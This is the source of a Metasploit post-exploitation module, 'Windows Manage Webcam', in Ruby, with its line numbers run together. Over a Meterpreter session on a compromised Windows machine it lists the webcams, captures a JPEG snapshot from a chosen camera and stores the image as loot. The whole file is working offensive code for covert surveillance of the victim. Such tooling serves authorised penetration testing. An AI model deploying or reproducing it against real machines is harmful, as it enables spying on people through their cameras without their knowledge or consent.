Path: blob/master/modules/post/windows/manage/webcam.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Manage Webcam',13'Description' => %q{14This module will allow the user to detect installed webcams (with15the LIST action) or take a snapshot (with the SNAPSHOT) action.16},17'License' => MSF_LICENSE,18'Author' => [ 'sinn3r'],19'Platform' => [ 'win'],20'SessionTypes' => [ 'meterpreter' ],21'Actions' => [22[ 'LIST', { 'Description' => 'Show a list of webcams' } ],23[ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ]24],25'DefaultAction' => 'LIST',26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29stdapi_webcam_*30]31}32},33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [PHYSICAL_EFFECTS],36'Reliability' => []37}38)39)4041register_options(42[43OptInt.new('INDEX', [false, 'The index of the webcam to use', 1]),44OptInt.new('QUALITY', [false, 'The JPEG image quality', 50])45]46)47end4849def run50if client.nil?51print_error("Invalid session ID selected. Make sure the host isn't dead.")52return53end5455if !action56print_error('Invalid action')57return58end5960case action.name61when /^list$/i62list_webcams(show: true)63when /^snapshot$/i64snapshot65end66end6768def rhost69client.sock.peerhost70end7172def snapshot73webcams = list_webcams7475if webcams.empty?76print_error("#{rhost} - No webcams found")77return78end7980if !(webcams[datastore['INDEX'] - 1])81print_error("#{rhost} - No such index: #{datastore['INDEX']}")82return83end8485buf = nil8687begin88print_status("#{rhost} - Starting...")89client.webcam.webcam_start(datastore['INDEX'])9091buf = client.webcam.webcam_get_frame(datastore['QUALITY'])92if buf93print_status("#{rhost} - Got frame")9495p = store_loot(96"#{rhost}.webcam.snapshot",97'application/octet-stream',98rhost,99buf,100"#{rhost}_snapshot.jpg",101"#{rhost} Webcam Snapshot"102)103104print_good("#{rhost} - Snapshot saved: #{p}")105end106107client.webcam.webcam_stop108print_status("#{rhost} - Stopped")109rescue Rex::Post::Meterpreter::RequestError => e110print_error(e.message)111return112end113end114115def list_webcams(show: false)116begin117webcams = client.webcam.webcam_list118rescue Rex::Post::Meterpreter::RequestError119webcams = []120end121122if show123tbl = Rex::Text::Table.new(124'Header' => 'Webcam List',125'Indent' => 1,126'Columns' => ['Index', 'Name']127)128129webcams.each_with_index do |name, indx|130tbl << [(indx + 1).to_s, name]131end132133print_line(tbl.to_s)134end135136return webcams137end138end139140141